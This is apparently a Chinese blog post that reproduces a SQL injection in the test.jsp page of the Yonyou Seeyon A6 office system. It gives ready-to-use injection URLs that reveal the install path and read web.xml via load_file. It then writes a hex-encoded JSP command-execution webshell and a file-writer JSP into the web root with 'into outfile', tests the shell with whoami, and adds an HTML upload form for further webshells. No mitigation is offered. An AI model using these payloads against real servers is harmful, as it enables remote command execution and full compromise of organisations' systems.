一、漏洞描述

 

用友致远A6协同管理系统:面向广大的企事业组织应用设计,是一个基于互联网的高效协同工作平台和优秀的协同管理系统。它融入先进的协同管理理念,运用领先的网络技术,切实有效的解决企事业组织工作管理中的关键应用。利用它可把日常管理中的业务、事务、事件等信息在单位、部门、组群、个人之间进行及时高效、有序可控、全程共享的沟通和处理。是一套非常适合国情的、并具有很高性价比的软件。

致远OA A6的test.jsp存在sql注入漏洞,攻击者可以通过注入漏洞写入webshell文件控制服务器。

 

二、漏洞复现

先测试系统是否存在test.jsp文件,访问如下地址

http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp

可以看到是存在该文件且被解析了的,那么接下来测试sql注入漏洞是否存在。poc如下,查看数据库安装路径(后面写入webshell需要)

http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT @@basedir)

 

从响应来看,确实存在sql注入,并且可以推测出web应用的根目录是

D:/UFseeyon/OA/tomcat/webapps/yyoa

也可以使用load_file判断是否正确

select load_file('D:/UFseeyon/OA/tomcat/webapps/yyoa/WEB-INF/web.xml')

 

确定了网站绝对路径之后,那么接下来就是写入webshell了

这里利用into outfile写入webshell,但是需要满足一些前置条件

1、数据库的当前用户为ROOT或拥有FILE权限;(FILE权限指的是对服务器主机上文件的访问) 
2、知道网站目录的绝对路径;
3、MySQL中的secure_file_priv参数不能为NULL状态。

由于jsp文件中存在特殊符号,所以我们要先对jsp木马进行hex编码


hex编码前
<% if("0".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
hex编码后
3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e 接着利用如下poc写入webshell
http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex('3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e') into outfile 'D:/UFseeyon/OA/tomcat/webapps/yyoa/swz01.jsp'

出现如下图,则说明可能成功

直接访问测试是否写入成功

http://xx.xx.xx.xx/yyoa/swz01.jsp?pwd=0&i=whoami

当然,由于jsp一句话木马太长了,请求连接会拒绝,所以也可以先上传写文件的脚本,然后再本地构造进行webshell上传

hex编码前
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

hex编码后
3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E

先上传写文件的脚本

http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex('3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E') into outfile 'D:/UFseeyon/OA/tomcat/webapps/yyoa/swz02.jsp'

然后本地构造上传

<html>    
<form action="http://xx.xx.xx.xx/yyoa/swz02.jsp?f=swz03.jsp" method="post">        
<textarea name=t cols=120 rows=10 width=45>your codetextarea>        <input type="submit" value="提交">    
</form>
</html>

最后用蚁剑进行测试

发表回复

后才能评论